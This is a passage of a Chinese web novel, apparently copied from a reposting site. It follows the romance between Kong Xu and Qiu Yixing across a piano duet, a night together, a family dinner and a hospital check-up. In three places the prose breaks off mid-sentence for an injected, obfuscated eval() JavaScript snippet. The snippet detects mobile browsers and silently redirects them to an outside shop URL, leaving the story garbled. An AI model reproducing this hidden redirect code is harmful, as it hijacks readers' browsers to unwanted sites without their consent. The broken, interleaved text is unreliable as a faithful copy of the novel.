漆黑的琴身已经开裂掉漆,斑斑驳驳,露出其里的原木色。琴身上还贴着许多小贴纸,这些贴纸泛黄,边缘处翘起皮,曾经印着的图案已经看不清具体是什么,不过邱以星还是立即辨认出来,他眼皮一抖,喃喃地问孔栩:“这不是学校琴房的那台钢琴吗?” ——为什么在你家? 孔栩说:“关你屁事。” 邱以星追问:“你把学校的琴偷回家了?” 孔栩怒不可遏,提高音量:“那是我买回来的!” 他为了把琴带回来,甚至给学校赞助了两台施坦威。 邱以星的声音越发不稳:“……你买它干什么?明明再过几年就要报废,而且我记得那时候音就不准,你买一台快报废的东西回来干什么?” 孔栩沉默地看向邱以星,邱以星继续追问:“你把琴买回来,为什么从来不弹?陈颂说你再也不在公众面前弹琴,为什么?” “你想听到什么样的回答?”过了一会儿,孔栩反问他。 邱以星的心跳得很快,他感受到这颗心不受控制反反复复像是坐跳楼机一样急速跌落又升至最高点。 孔栩讥诮地笑了一声,不知在笑邱以星,还是他自己:“你不会以为是因为你,我才把琴放在家里,也是因为你,我才不再弹琴的?” 邱以星与孔栩之间大概有十米的距离。他只需要两秒就能跑到孔栩面前,可他又觉得他们之间的鸿沟如此深广,十米已经是最近的距离,他不能再迈进哪怕一步。 因为孔栩恨他。 孔栩爱一个人时的样子他见过,恨一个人什么样他自然也了解,他只是不知道孔栩究竟有多恨他,他甚至不知道这恨还究竟能不能被填平。 他又想,如果是恨的话,也不错,总比一直无视他强。 无言的寂静在偌大的客厅里缓慢流淌。 就在这瞬间,邱以星决定不再逼问孔栩任何事,他不能像个无礼的闯入者,强硬地去扣响孔栩的心门,他要做的,只能是等待,等待哪一天孔栩会再度回头看他。 这样的距离已经是孔栩最大的让步。 他慢慢走到孔栩面前,朝孔栩淡淡笑了笑:“不说这个了,是我不好,大晚上的让你大动肝火。” 邱以星托起孔栩湿漉漉的长发,将干毛巾搭在他肩膀:“衣服都湿了,我给你吹吹,算我给你赔罪。” 孔栩垂着头,默然不语,于是邱以星将他按在沙发上坐下,拿来吹风机给孔栩吹头发。 邱以星知道孔栩留长发是为了拍戏,陆笑蓉告诉他孔栩接了一部电影,他演的那个角色留着一头长发。 孔栩平时为了方便会把头发扎起来,所以会有些不明所以的人误会他是个女人,还是个长得很美的女人。不过再细看,他眉眼其实要更加锋利,骨架姿态也是成年男人的样子。 邱以星将他长发揽到掌心,很细致照顾到每一处潮湿的发丝,他的发丝柔软似水,在他手掌心滑来滑去,邱以星心猿意马慢悠悠地吹了半天,终于大功告成。 他关掉吹风机,对孔栩说:“可以了,去睡觉吧。” 孔栩却一动不动。 黑色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他一开始是不想弹,后来是因为太久没弹而恐惧弹,觉得弹不好,自己前十几年在练琴上付出的努力全部付诸东流。 等他真的弹奏时,却发现那种本能用指尖跳跃的感受在瞬间回来了,毕竟是十几年没日没夜的练习,加之他的聪颖,他很快就找到了属于自己的节奏,并跟上了邱以星的步伐。 四只手在琴键上翻飞,即使是破旧走音的琴也被他们弹出价值好几百万的效果,孔栩全身心地沉浸在乐曲当中,酣畅淋漓地与邱以星共同演奏一支从未弹过的曲子,这曲子却又像是久久根植在他心底,只是等待一个时机将其释放。 一曲终了,余音久久不散。 孔栩的手有些颤抖,为了掩饰,他把手塞进睡衣的口袋里。 邱以星有些得意地朝他一挑眉:“我说的没错吧?” 孔栩也有丝意外,他觉得或许需要更多的时间去适应,没想到他的手指比他的心更懂得他。 他耸耸肩,唇角向上一勾,是个笑微微的模样。 他心里渐渐放松下来,觉得Lian的合作提议也未尝不可。 孔栩心情好了,连带着看邱以星都顺眼许多:“这些年你一直在弹琴么?我看你很熟练。” 邱以星言简意赅地嗯了一声。 孔栩想了想,问他:“还打算继续做音乐?” 邱以星忍不住凑近他:“这么关心我啊?” 或许是灯光太亮,他看向孔栩的眼睛里像是有星星在闪,孔栩伸出一只手把他的眼睛捂住。 “嗯?”邱以星笑着说,“你要干什么?事先声明,我绝不反抗。” 孔栩看着他上翘的嘴角,不禁也笑了笑。 这样好吗?他问自己。 他和邱以星没有立定承诺,也没有约定将来,目前这样的关系,他并没有多反感。 未来怎么样他不清楚,也没有把握,可他知道自己已经不是十七岁,不会再轻易相信什么人,也不会再轻易为一个人伤心。 今朝有酒今朝醉,及时行乐也没有什么不好的。 于是孔栩松开捂住邱以星的手,没有移开,手指反而顺着他的鼻梁往慢慢往下滑,滑到邱以星凸起的喉结,他的指腹感受到他喉结动了一下,他声音轻轻的,低而暧昧:“邱小六,按照时间表,我今晚就有空。” 93. 第 93 章 孔栩说完的刹那,邱以星的目光沉下来,盯紧了他。 他漫不经心带着几分玩笑,刚讲完就后悔了,感觉自己变成了虎狼口中的猎物,一时间进退维谷。 邱以星察觉到孔栩要溜,一只手环住他后背,继而扣住他的腰往自己身前一带,禁止他逃走。 孔栩的笑容僵硬起来:“邱以星……” “嗯?”邱以星凑过来,轻轻咬了一口他的耳朵尖,他温热的鼻息吹得孔栩耳朵发烫,邱以星在他耳垂那一侧的皮肤上印下一个吻,低语,“你想说什么?你可以说,但我不一定会听。” 孔栩犹豫:“你还没洗澡。” 邱以星:“……” “我去洗澡,”邱以星距离他极近,认真地问,“你会跑掉吗?” 孔栩竖起三根手指:“不会。” 于是邱以星火速去卫生间刷牙,孔栩见他转身,脑中经过一番剧烈地天人交战,在邱以星走进浴室后,找到车钥匙,连睡衣都顾不上换,握住门把手就要推门出去。 这时一只手狠狠拍在门上,邱以星鬼魅一般的贴在孔栩耳边说:“小木鱼,大晚上的,你要去哪里?” 孔栩脊背立时窜上一层鸡皮疙瘩,没等他解释,邱以星将他拦腰一抱,扛了起来,孔栩再瘦也是个成年男人,邱以星却没费丝毫力气,孔栩吓得勾紧邱以星的脖子:“你你你你放我下来!” “不放,”邱以星忿忿,“小骗子,你是不是要去找你的小三小四小五?你要把我一个人孤零零的丢在这里!” 孔栩力竭:“……真不是。” 邱以星:“我不相信你。” 邱以星把孔栩抱进浴室,咔哒一声,将浴室门反锁。 孔栩惊魂未定,结结巴巴地说:“我我我洗过了。” “你要么站这儿看着我洗,要么陪我一起再洗一遍。”邱以星脱了衣服,孔栩立即撇过脸,被邱以星伸手掐住下巴,将他的脸扭过来,“你选一个。” 孔栩湿润的大眼睛眨啊眨的,试图软化邱以星:“我可以都不选么?” 邱以星板着脸:“不可以。” 孔栩:“那我选站这儿看着你洗。” 邱以星笑了一声:“没想到你还有这种癖好。” 他高大的身体伫立在孔栩面前,邱以星在他不知道的时候已经高出他半个头,以至于他看邱以星时,得仰着头看。 孔栩内心升起一点微妙的不爽,他抓住邱以星的头发,迫使他低头,视线与自己齐平:“邱以星,其他人可不像你废话这么多。” 邱以星的笑容消失了:“是么。” 热腾腾的水汽瞬间笼罩住淋浴间,孔栩的余光能看见邱以星隐约的轮廓,脸朝另外一个方向,刚刚他说完那句话,邱以星一下就住嘴了,到现在都没说一个字。 孔栩无聊地背靠墙壁,用手指扣着墙壁白色瓷砖上凸起的花纹。 邱以星沉默地洗着澡,留给他一个光裸矫健的后背。热水洒在邱以星身上,顺着他颈肩、紧实的腰臀一路蔓延,孔栩看着看着,突然移开视线,脸不由自主地发热,大概是淋浴间的温度太高,孔栩的心也莫名越跳越快。 “小木鱼,”邱以星的声音毫无预兆地响起来,“我还是想要你陪我一起洗。” 孔栩没反应过来,邱以星举着花洒淋了他一头一身,热水把他的睡衣浇得透湿。 邱以星单手一抽孔栩的睡衣带子,将他从衣服里剥出来。 “邱以星!”孔栩刚吹干的头发又湿了,大怒,“你活腻了是不是?” “听见了,”邱以星低头噙住孔栩的嘴唇,伸手将他脸上的水迹抹去,“不用叫那么大声。” 说完重重在他唇上一碾,嘴唇破皮的地方又流出血丝,被邱以星轻柔地舔去。 孔栩顿时失语,满嘴骂人的话一下子蒸发,邱以星充满蛊惑缓慢地说:“我会好好伺候你的。” 时隔多年的亲密令孔栩有些无所适从,他绷紧趾尖,仰头和邱以星亲吻。 邱以星像是又发烧了,浑身的热度惊人,孔栩喘着气问他要不要紧,被邱以星视作挑衅,托着孔栩屁股再度抱起他,他的后背贴在冰凉的瓷砖上。 孔栩被冰得一个激灵,顿时回了几分神志,可热水又不断地倾泻而下,水汽四处弥漫,浸湿他的头发和脸颊,很快他就分不清东南西北,整个人如在雾中。 是一场铺天盖地的雾,他被这雾绑缚,困住,动弹不得。 一颗水珠从孔栩的下巴缓缓滴落,坠在地上,分不清这是他的眼泪还是汗水,成了千万颗破碎的水雾,他似乎也变成这水雾的一部分,碎裂或重组。 这一刻所有的光阴被打乱,他像是回到七年前,也许更久之前,他心口满溢着众多复杂的情绪,无法用世间任何国家的任何语词形容,又因邱以星叫他的名字,将他一瞬间拉回到此时此刻的时空。 朦胧而潮湿的温热水雾中,邱以星满怀情意地一遍遍念他的名字,孔栩累得无法睁开眼,趴在邱以星肩膀上轻轻哼了一声,邱以星在他耳边说:“我爱你。” 孔栩没听见,他的意识彻底陷入到深沉的黑暗中去了。 一直到第二天下午,孔栩才稍微有了一些意识,他睡得太沉,睡意好像变成实质性的东西压在他身上,他觉得平日里轻薄的被子也重若千钧,变成不能承受之轻。 眼皮睁不开,他率先听到唐烨在卧室门外大呼小叫的响动。 “孔栩!”唐烨走进客厅,巡视一圈,发现原本钢琴上的白布被揭开了,他有些疑惑地看着那台品相差劲的旧钢琴,又见到屋内的椅子歪七扭八,连沙发的位置也挪动了几厘米,原本放在沙发上的毯子垂到了地面,像是遭遇了一场小型的入室抢劫。 心中更多的不解冒着泡浮起来,他扯着嗓子喊:“你在不在家?给你打那么多电话怎么全给我挂了?再不回我,我就要报警了啊。” 孔栩觉得好吵,想捂住耳朵,可稍微一动,浑身的骨头像是被人细细拆了一遍,又重新安装过,可每一处都安装得不到位,肌肉又酸又痛——电光石火间,他猛然想起昨晚发生的事,陡然睁开了眼睛。 厚厚的窗帘仍旧拉着,卧室里笼罩着浓稠的黑暗,在这黑暗中,孔栩使劲眨了眨眼,隐约看见眼前有个熟悉的轮廓。 这人占据了自己大半张床,手脚并用地纠缠住他的身体,难怪他有种泰山压顶的窒息感。 孔栩的呼吸急促起来,慌里慌张地要起身,然后听见邱以星的声音慢条斯理又颇为遗憾地说:“你醒了?睡得真久,我还在犹豫要不要吻醒你。” 唐烨已经在敲门:“孔栩,我进来了啊。” 孔栩连忙大喊:“别——” 他的嗓子哑得一时间没发出声音,邱以星的胳膊一下收紧,把他勒得差点没喘上气。 邱以星不耐烦地“啧”了一声:“他怎么还过来了?你把密码告诉他了?” “他是我助理,经常要进出我家门,密码有什么不能告诉他的。”孔栩一把捂住邱以星的嘴,清了清嗓子,朝门大喊,“别进来!” 唐烨一头雾水:“……哦,原来你在家啊。” 孔栩“嗯”了一声,唐烨便站在那里,隔着一扇门对孔栩说:“你怎么还在睡?身体不舒服吗?” “没有,你在外面等我。” 唐烨应了一声:“知道了。” 孔栩费尽全身力气,龇牙咧嘴地伸手按亮灯,又看了眼时间,竟然已经过下午两点半了! 他的生物钟彻底停摆,这一觉睡得天昏地暗,孔栩满心羞愤,质问邱以星:“你怎么还在这?为什么不早点叫醒我?” 邱以星一只手支着脑袋,他浑身赤裸,腰腹间只搭了一层薄被,望着孔栩,委委屈屈地说:“你这是什么意思?什么叫‘我怎么还在这’?前脚把我睡了,后脚就不翻脸认人了?” 孔栩一时词穷,觉得他的话十分不对劲,门外唐烨还在等,他一掌软绵绵的拍在邱以星脸上,让他闭嘴。 他起身随便抓了两件衣服换上,后背射来两道火辣辣的视线,孔栩急得裤子差点穿反,忙不迭回头低声警告邱以星:“你给我老实在这里待着,不准出去!” 邱以星懒洋洋的:“这么怕被他发现么?” 孔栩:“……” 邱以星:“如果被他发现,他会不会就此伤心欲绝,跟你断绝这种不健康的关系?” 孔栩直接抓起另一边的枕头按在邱以星脸上,飞快带上门,逃了出去。 唐烨正在帮忙把沙发推回原位,刚弯腰捡起地上的毯子,就看见孔栩跟见了鬼一样冲出了卧室门。 他穿了件淡蓝色的衬衫,赤脚踩在地板上,乌黑的长发来不及扎,松散地垂在脑后,一手撑着门框,像是思考什么重要大事一样,皱紧了眉头。 “你怎么了?”唐烨担忧地靠近他,“被鬼吸干了精气吗?脸色这样差。” 孔栩倒吸了一口气,忍住不跟唐烨计较:“你找我干什么来了?” 唐烨:“你忘记每月一次的家庭聚餐了?” 孔栩一听,脑瓜子嗡嗡响,他把这事给忘得一干二净。 唐烨继续说:“中午你妈给你打电话没打通,打我这来了,让我来看看你什么情况。” 孔栩强行打起精神,对唐烨说:“行,我知道了,我等会给她回个电话。” 唐烨看了他一会儿,见他露在外面的颈肩上有些斑斑点点的红痕,不太相信似的,伸手朝他衣领一勾,张大眼睛仔细看了看,大惊小怪地问:“我的老天,这都是什么?你昨晚跟人在外面过夜了?” 孔栩伸手往他额头上一推:“你也闭嘴,出去,没叫你别来找我。” 唐烨:“什么叫‘也’?你还让谁闭嘴了?” 孔栩:“……” 这一个两个的真是烦得没边了。 紧随其后,唐烨听见卧室里传来一阵清晰的响动,他竖起耳朵,惊呆了:“人现在在你房间?” 孔栩面无表情:“你听错了。” 唐烨没有眼力见的还要开口说,孔栩比了个数:“三秒钟,不走就炒了你。” 被魔法打败,唐烨只好灰溜溜地走人,临了丢下一句“记得戴套”。 孔栩被人踩了尾巴似的,在他身后张牙舞爪:“再多嘴扣你一个月奖金!” 好不容易送走唐烨,孔栩有些脱力,他身边怎么尽是一帮神人,这么想着,身后的卧室门被打开了。 邱以星见孔栩光着脚,走过去自然地将他抱起来。 孔栩想起昨晚被他整个屋子搬来搬去,已经没了脾气,他问:“你不去医院了?” “不着急。”邱以星坐在沙发上,让孔栩面对面坐在自己腿上,他两手环着孔栩的腰,下巴蹭着孔栩的脖子,“现在不想跟你分开。” 孔栩叹气:“……你有点烦人了你知道吗?” 邱以星嘟囔着:“我还可以更烦人。” 孔栩:“……” 说实话,他有些拿这样的邱以星没有办法,毕竟发生实质性的关系后,他不能再对着邱以星眼睛不是眼睛,鼻子不是鼻子地乱发脾气,不然真成了他嘴里说的“翻脸不认人”的负心汉,虽然被睡的是他。 转念间,他想,或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17383205|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许当炮友也不错? 下一秒孔栩就推翻了这个想法,真实的原因是他身体非常受不了。 邱以星给他有一搭没一搭地按摩腰,力度刚好,孔栩索性就靠着邱以星的胸膛,对他说:“我等会要去我妈那里一趟。” “行啊。”邱以星说,“你饿不饿,我给你煮了吃的,你垫垫肚子。” 孔栩饿过了头,现在一点也不饿,他摇摇头:“没胃口。” 邱以星说:“那你晚上还回来吗?” 孔栩:“不知道。” 邱以星沉默了一会儿:“能不能不走?” 孔栩:“……” 邱以星的手又不安分起来,按摩按得好好的,往孔栩衣服里面伸,孔栩按住他的手,警告性地看他一眼:“别得寸进尺。” 邱以星见无法挽留,只好说:“吃点东西吧,一天没吃胃受不了,我送你过去。” 孔栩便听他的话,勉强吃了点东西,又换了身严实的衣服,把自己遮得只有一张脸露在外面,跟着邱以星一起下楼。 何斯清现在住的地方与孔栩家有一个小时的车程,平时都是唐烨送他往返。 邱以星听到孔栩报地址,脚踩油门就上了路。 孔栩坐在副驾驶,盖了条毯子,昏昏沉沉的,靠着椅背闭目养神。 这一路邱以星只开车,不说话,直到送孔栩到了目的地,他把车停在路边,过了一会儿,他轻轻叫了孔栩一声:“孔栩,醒醒,到了。” 孔栩睁开眼,车窗外的天色还很亮,他迈出车门前,随口问了邱以星一句:“你上去吗?” 邱以星笑了笑:“你们一大家子人聚餐,我这个外人就不上去了。” 孔栩想邱以星应该误会了,可他没有解释,跟邱以星挥了下手,作别。 这个点何斯清还没下班,他的便宜后爸正系着围裙处理晚餐食材。 盼珠因为身体不舒服,请了假躺在家里看动画片,见孔栩来了,屁颠颠地朝他冲过来。 孔栩习惯性地弯腰抱她,结果弯到一半面容扭曲,到底还是没弯下去,只好作罢,让她继续看动画片,他则是进厨房帮忙,被他后爸轰了出来:“你这孩子怎么这么爱进厨房,这我一个人就能收拾,你跟盼珠玩去。” 他的这位后爸性格和何斯清大相径庭,何斯清是个暴脾气,后爸则是一点脾气也没有,何斯清说什么就是什么,婚后的何斯清过得很幸福,他后爸还特意给孔栩留了一间房,让他有空回家住,虽然孔栩从来没住过,但他感谢后爸的好意。 也是后爸提议每个月固定一天,让孔栩回家跟他们聚聚,一起吃顿饭。 雷打不动,孔栩坚持了五年,这让他觉得这个世界上他还有地方可去。 又过了大半个小时,何斯清回来了。 她如今不带班主任,能按时下班,气色也比之前好很多,见到孔栩便劈头盖脸地问:“你干什么去了,唐烨也一直联系不上你,多大的人了,还这么让人担心。” “消消气,生气容易长皱纹。”孔栩忙嬉皮笑脸地打断她,“我在家能出什么事,手机没电了。” 何斯清看他一眼就知道他没说实话,不过没有打破砂锅问到底,孔栩是个成年人,有自己不愿开口的秘密,她念叨了孔栩几句,回头见到盼珠又在看动画片,声音又提了起来:“何盼珠!你眼睛还要不要了!” 盼珠飞速关电视,窜到何斯清面前柔声说:“我只看了一会会儿。” 她冲她爸挤挤眼,希望他给自己保密,她其实看了一个下午。 晚饭吃得其乐融融,孔栩缓过最初那股难受劲,饿得前胸贴后背,在餐桌上大快朵颐,连连夸赞他后爸的好手艺。 夸得后爸心花怒放,挥舞着锅铲要再给孔栩加道菜,孔栩连忙制止,说自己真饱了,下回来再让他大展身手。 何斯清在一旁看着他们微笑,熬了很多很多年,这时候才觉得老天对她不薄,她有了种“圆满”的感受,于是她问孔栩:“你什么时候能够定下来?年纪也不小了。” 孔栩很不满:“我才二十五啊妈,别说的我跟七老八十似的,没进棺材前,都不算‘定’。” 何斯清翻了他个白眼,后爸给他圆场:“没错,我们孔栩才二十五,有什么可着急的。” 孔栩满意地点点头:“嗯,还是爸你说得对。” 这还是孔栩头一回喊他“爸”,听得在场两位长辈都吃了一惊,他后爸更是百感交集,眼眶发红,拉着孔栩长吁短叹了一通,孔栩说:“别这么煽情,对我妈好的才是我爸。” 他爸郑重地说:“我会一辈子对你妈好的。” 吃完饭,他们要送孔栩下楼,孔栩拒绝了,一个人揣着兜走下来。 天已经完全黑了,从其乐融融的氛围里抽出,他内心感到一丝惆怅,何斯清问他什么时候能定下来,他心里也没个准。 没错,他确实非常年轻,可一颗心却仿佛已经老了,他爱不动,也不想爱,觉得疲倦。 出了大门往外走,这次唐烨没陪着他一起来,他得打辆车回去。 然后他看见一辆车静静地停在五米之外的位置,一道颀长的身影倚着车门,见他出现,便高高地挥挥手,朝他走过来。 孔栩停下了脚步。 邱以星两三步走到他面前,脸上是掩饰不住的高兴:“你怎么下来了?” 孔栩仰着头,听到自己干巴巴地问:“……你怎么没走?” 邱以星趁着四野无人,亲了下他的额头:“都说了很想你。” 然后邱以星牵住孔栩的手,朗声说:“走,回家了。” 94. 第 94 章 邱以星开着车,驶上环城公路。 夜色悄无声息地弥漫,岚江大桥笔直开阔地延伸出去。 过了片刻,孔栩转头看他:“能不能专心开车?” 他一只手被邱以星牢牢握着,这条路是主路,车辆来来往往,邱以星单手开车令孔栩脊背寒毛直竖,邱以星说:“你怕么。” “你说呢?”孔栩说,“想死别拉着我一起。” 邱以星便松开了手,老老实实地两手放在方向盘上,他笑着说:“放心,我技术很好。” 孔栩沉默两秒,“呵”了一声:“不见得吧。” 邱以星:“……?” 下了岚江大桥就是他们熟悉的景色了。那时候孔栩总坐公交车去上学,从他的老家到一中,这些年街边的店铺变了又变,可他还是一眼认出来邱以星家的公交站台,还有一中对门的旧书店。 旧书店的老板身体不好,把几间书店盘给了旁人,仍旧贩卖盗版书和各类学习资料。 物是人非,没有人会停在原地,孔栩后来再也没见过旧书店老板,也跟高中那帮玩得好的同学再没有任何联络。 他从朋友圈大致了解到闻旋在美国读心理学博士,罗鸣玉从事金融方面的工作,经常加班,隔三差五在朋友圈辱骂老板不是东西,齐大彬跟他初恋考上了一所大学,毕业就结了婚,孩子马上要念幼儿园。 他有段时间拒绝与人交流沟通,不看朋友圈,也不回复他人消息,人与人之间的交往不能只有一头热,他不主动,这些关系就会渐渐变淡,逐渐退出他的人生。 孔栩感到遗憾,好在也有陈颂他们孜孜不倦地拉着他,不让他走失。 邱以星见他映在玻璃上的脸有些落寞,问他:“在想什么?” 孔栩低头看了眼时间,指着前面那个路口说:“左转。” 邱以星疑惑:“去哪儿?那不是回家的路。” 孔栩仍旧是那副靠窗的姿势,说着:“去医院,你不是还有个检查没做么。” 邱以星有些感动:“你还记得啊。” 孔栩:“我记性好呗。” 看邱以星活蹦乱跳的模样,孔栩想他应该没什么大碍,不过他觉得还是得遵循医嘱,免得有后遗症什么的,让邱以星赖上他。 到了医院,邱以星去做检查,结果要一个小时之后才出来,孔栩便坐在外面的椅子上陪邱以星等结果。 大晚上的,除了挂急诊的和住院陪护的,走廊上就没什么人了,少了一份白日的喧嚷。 检查报告出来后,急诊室值班的医生拿着报告单,看了邱以星一眼。 “你的各项指标都没什么大问题,”医生说,“不过你最近在服用什么其他药物吗?” 邱以星:“没有。” 孔栩补充一句:“他昨天发烧,医生开了布洛芬。” “也不烧了,怎么血小板这么低?”医生想翻一下邱以星的过往病例,发现邱以星才刚建档,根本没有过往的病例信息。 邱以星干笑:“大概是我最近没什么食欲,吃得比较清淡。” 医生摇了摇头,认为邱以星的说法不能令人信服,皱眉说:“我先给你列个检查单,你记得要空腹,水少喝一点,明天早上再来做个详细检查。” 邱以星“嗯嗯啊啊”地敷衍着,孔栩扭头瞪了他一眼,接过检查单,从电解质到肝肾功能、血糖和渗透压之类的都有,他略微有些不安:“怎么要检查这么多项?” 医生告诉他:“别担心,基本检查而已,没问题就更好。” 孔栩把检查单收起来,跟邱以星走出急诊室。 他心里有些疑惑,邱以星人看着很精神,很有活力,牵着他的手也格外有力量,很温暖。 孔栩问他:“你真的没什么问题吧?” 邱以星晃了晃他的手:“不放心的话你明天陪我一起来,怎么样?” “不行,我明天一早要去公司跟项姐见面,”孔栩说,“你一个人行吗?不然我让唐烨陪你过来。” 邱以星闻言头都大了:“算我求你了,也不用这么折磨我吧?目前我的心态不够良好,不能保证跟你其他姘头在一个空间内友好相处。” 孔栩毫不留情地捅了邱以星一胳膊肘:“别胡说八道,唐烨仅仅是我的助理,项姐让他负责我的个人安全。” 邱以星:“真的?” 孔栩冷笑一声:“假的。” 邱以星的嘴角咧开了:“还是让他跟着你吧,我一个人也认识路。” 两步之后,忽然有人叫了一声“Chiu?” 邱以星的脚步一顿,孔栩察觉到邱以星握他的手指紧了紧,他转头看向声音传来的方向—— 那是个拥有一头浅金头发的外国男性,眼珠是蓝色的,长得高大,戴着黑框眼镜,穿着医院的白大褂,朝他们露出一个斯文有礼貌的笑容。 “医生?他在叫你?”孔栩意识到他们可能认识,想把手从抽回来,但邱以星没有给他这个机会,反倒更加明目张胆地跟他十指相扣。 邱以星跟这外国人对视了一眼,随即他也笑了一下:“Eric,好久不见。” 这位叫做“Eric”的医生见邱以星没有过来跟他详谈的打算,便站在了原地,没有靠近。 他看了一眼邱以星身旁的孔栩,眼中闪过一丝惊愕,像是很讶异他身旁竟然还站着别的什么人似的。 邱以星对他说:“改天再聊,我现在要回家了。” Eric只好点头,他用还算流利的中文回复他:“好,拜拜。” 但他知道这只是邱以星的客套话,估计他转身就会把自己的联系方式彻底删除。 邱以星是个很擅长伪装和讲谎话的人,他在邱以星那吃了不少苦头,实验组里就他最难搞,不按时吃药还常常失踪,逼迫他们动用了一些不太恰当的方式让邱以星听话。 不过看他现在神气活现的样子,似乎那一切并没有给他留下丝毫阴影。 他们分别之后,Eric老远被一个精神科的医生匆匆迎了进去:“教授,这边请。关于明天的医学峰会,我们还有几点内容想跟您探讨。受试者们的临床数据……” 出了医院,孔栩没忍住问邱以星:“你认识刚刚那个人?他是这里的医生?” 邱以星淡淡地回答:“我跟他不熟,不太清楚。” 孔栩便没有再追问。 孔栩打开家门,刚要进屋,意识到邱以星似乎跟在自己身后,他扭头说:“今天不可以进来。” 邱以星义正言辞地说他在网上订购的床还没送过来,加之他一直没吃上饭,刚刚又抽了一大管子血,令他十分虚弱,需要好好地躺在又宽敞又柔软的大床上休息。 孔栩算是看透了他,冷眼看他:“你总有那么多借口。” 邱以星见孔栩有软化的迹象,飞快低头亲了亲孔栩的嘴唇,占尽了便宜后,幽怨而絮叨地说:“唉,我知道你嫌我烦,觉得我占地方,好吧,那就让我回到那个冷冰冰空荡荡的屋子里去,让我一个人睡在硬邦邦的地上自生自灭。” 孔栩实在是怕了他了,他想,以前邱以星有这么嘴碎吗? “明天,”孔栩说,“明天你给我麻利地走人。” 邱以星笑逐颜开,不理会孔栩这句话,自顾自在玄关处换了拖鞋,孔栩眼尖地注意到,邱以星不知什么时候把自己家的拖鞋放了进来。 孔栩对他这些小动作分外无语,睁一眼闭一眼当没看见,吩咐说:“冰箱里有吃的,你放微波炉热一热。” “你要不要吃?我给你洗点水果。”邱以星依言打开冰箱,回头问孔栩。 “嗯,可以。” 孔栩一回家,疲惫感顿时不讲道理地席卷上来,又想找个地方躺着了。 于是他随便冲了个澡,直接回房间往床上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393668|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一倒,将被子拉至头顶,把自己罩得严严实实的。 忽而间,孔栩又睁开了眼睛。 由于他们两个人一直睡到下午,孔栩闻到了被子里的属于邱以星的气味,尽管已经很淡了,可孔栩还是觉得这味道没有丝毫改变,仍旧跟过去一样,干燥而温暖。 这味道太过熟悉,令孔栩瞬间想起他们第一次在学校附近的酒店过夜时的情景,想起在公司宿舍和出租屋里,他们总是搂在一起睡觉,当时睡觉就是很单纯的睡觉,从那时起他就非常喜欢闻邱以星身上的味道。 邱以星胡乱对付了一口,端着果盘进了孔栩卧室。 卧室床上鼓着个长条形的包,邱以星带着笑,顺势坐在床边,将果盘放在床头柜,他轻轻拍了下被子:“这就困了,水果不吃了?” “不想吃了。”孔栩闷闷的声音传出来。 “那我端走了。”邱以星说着就要起身,这时一条长长的手臂从被子里钻出来,扯住了邱以星上衣的下摆。 邱以星一顿:“怎么了?” 那只手不回答,只是一味地扯他的衣服,薄薄的衣服被孔栩扯得完全没了形状,邱以星不由得两手撑在床上,只见孔栩从被子缝隙里探出一只鼻子,将脸埋在邱以星的衣服里。 邱以星意识到孔栩在干什么,悲愤地说:“我人在这儿,你闻衣服?” 孔栩的脸微微发红:“别说话行不行?” 邱以星觉得好笑,又觉得好玩,便由着他去。 孔栩闻了好几分钟,还是有些意犹未尽。 “这是怎么了?”邱以星问。 孔栩想了想,回答他:“你知道‘普鲁斯特效应’吗?” “什么?”邱以星没文化地问道,“什么特?哈姆雷特?” 孔栩没好气地说:“哈利波特。” “哦,这个我知道,他会用魔法。”邱以星说,“为什么说这个,你也想有魔法?” 孔栩点点头:“是啊是啊,如果我有魔法,就给自己使一个‘一忘皆空’,把跟你有关的所有记忆全部清除。” 过了好半天没听见邱以星说话,孔栩有些奇怪,从被子里探出头。 邱以星宽厚的肩膀将头顶明亮的光遮住,他的脸沉在光照不见的阴影中,显出几分哀伤的意味。 孔栩难得卡了一下:“……我只是在开玩笑。” 邱以星当然知道,孔栩不可能会魔法,也不会真的忘记他,他还是心有余悸地抱紧孔栩,在他脸颊上蹭了蹭:“以后还是不要开这样的玩笑了,我听了心都要碎了。” 孔栩分不清他这样受伤的模样究竟是真的,还是装的。 过了一会儿,孔栩往他脸上蜻蜓点水地碰了一下,他面无表情地说:“这样拼好了没?” 邱以星意识到什么,随即轻声地笑起来,他的笑容总是很有感染力,让周围的人也情不自禁地感到快乐,因为他的快乐而快乐。 “你啊……”邱以星用力地摩挲着孔栩单薄的后背,孔栩紧紧地贴着邱以星的胸膛,感受到他源源不断的热意传到自己身上。 孔栩等了半天后文,也没等来邱以星接下来的话。 邱以星松开他,也去洗了个澡,洗完澡,他十分自然地往孔栩的被窝里一躺。 两臂一伸,将孔栩揽在怀中,孔栩见他没有其他逾矩之举,便没有再说什么,两人就这样一觉睡到了大天亮。 好在孔栩提前定了闹钟,他要跟项汝怡见面,可不能迟到。回头看邱以星还闭着眼,一脚把邱以星踹醒,叮嘱说:“我出门了,检查单在桌上,你记得空腹去医院。” 邱以星缓慢地点了点头,想讨个早安吻,又怕孔栩再踹他一脚。 